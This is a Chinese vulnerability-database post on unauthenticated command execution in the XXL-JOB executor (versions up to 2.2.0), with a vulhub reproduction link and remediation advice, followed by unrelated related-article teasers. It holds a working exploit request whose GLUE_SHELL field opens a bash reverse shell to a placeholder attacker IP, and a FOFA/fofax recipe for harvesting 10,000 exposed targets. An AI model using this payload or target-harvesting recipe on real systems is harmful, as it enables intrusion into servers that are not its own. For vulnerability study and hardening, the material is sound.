【漏洞库】XXL-JOB executor 未授权访问漏洞导致RCE

news/2024/10/31 5:27:14/

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - EXP 编写
    • 漏洞挖掘
    • 修复建议

漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

该问题本质上不属于 “漏洞”,官网版本提供了鉴权组件,开启即可进行防护。

该问题类似于将一台Mysql、Redis实例,不设置密码并开放给公网,严格来说不能因此说Mysql、Redis有漏洞,只需要设置密码即可。

漏洞编号

漏洞评级

高危

影响版本

XXL-JOB <= 2.2.0

漏洞复现

复现环境与复现参考链接:https://vulhub.org/#/environments/xxl-job/unacc/

- EXP 编写

POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391{"jobId": 2,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "bash -i >& /dev/tcp/攻击者IP/攻击者监听端口 0>&1","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0
}

执行以上EXP之后,我们可以GetShell,如下图:

image-20231103145113536

注意,我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非目标的服务重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP。

漏洞挖掘

fofa语法:

app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"

批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中

echo 'app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"' | fofax -fs 10000 -e>xxl-job.txt

修复建议

  • 1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
  • 2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
  • 3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端口。

http://www.ppmy.cn/news/1195307.html

相关文章

C/C++与圆相关的计算 2021年3月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C与圆相关的计算 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 C/C与圆相关的计算 2021年3月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 给出圆的半径&#xff0c;求圆的直径、周长…

安装富文本组件

安装vue-ueditor-wrap3.x&#xff1a; vue-ueditor-wrap3.x&#xff1a;一个“包装”了 UEditor 的 Vue 组件&#xff0c;支持通过 v-model 来绑定富文本编辑器的内容&#xff0c;让 UEditor 的使用简单到像 Input 框一样。省去了初始化 UEditor、手动调用 getContent&#xff…

NEFU数字图像处理(5)图像压缩编码

一、概述 1.1简介 图像压缩编码的过程是在图像存储或传输之前进行&#xff0c;然后再由压缩后的图像数据&#xff08;编码数据&#xff09;恢复出原始图像或者是原始图像的近似图像 无损压缩&#xff1a;在压缩过程中没有信息损失&#xff0c;可由编码数据完全恢复出原始图像有…

洒洒水阿萨阿萨

1. 多表查询 多表查询(也叫关联查询, 联结查询): 可以用于检索涉及到多个表的数据. 使用关联查询, 可以将两张或多张表中的数据通过某种关系联系在一起, 从而生成需要的结果集.前提条件: 这些一起查询的表之间它们之间一定是有关联关系.# 先熟悉一下三张表: -- 1. 员工表(11个…

Vue3.0 VCA语法糖 <script setup> :VCA模式

简介&#xff1a; <script setup> 是在单文件组件(SFC)中使用组合式 API 的编译时语法糖。相比于普通的<script>语法&#xff0c;它具有更多优势&#xff1a; 更少更简洁的代码&#xff0c;不需要使用 return{} 暴露变量和方法了&#xff0c;使用组件时不需要主动…

Windows10安装Anaconda与Pytorch的记录

这是一篇关于安装Anaconda和Pytorch的记录与复盘&#xff0c;写的原因是我电脑恢复系统之后东西全没了&#xff0c;再装Pytorch的时候一脸懵逼忘了怎么弄了&#xff0c;写篇记录以备我下一次安装。 1、Anaconda的安装 1.1、Anaconda安装包下载 下载链接: Free Download | An…

Spring事务的传播机制

一、什么是Spring 事务的传播机制 传播机制解决了被事务修饰的方法互相调用时&#xff0c;到底是创建两个不同的事务&#xff0c;还是共用同一个事务的问题。 二、七种传播机制 首先介绍两个术语&#xff1a;挂起&#xff0c;嵌套和加入。 挂起&#xff1a;将当前正在执行的…

android webview 打开腾讯文档不跳转到申请权限界面显示ERR_UNKNOWN_URL_SCHEME

webview 只识别https和http开头的地址 webview调用setWebViewClient方法&#xff0c;重写shouldOverrideUrlLoading方法&#xff0c;返回return super.shouldOverrideUrlLoading(view, url);就可以跳转到申请权限界面了&#xff0c;要登录QQ去申请权限的时候报错&#xff0c;因…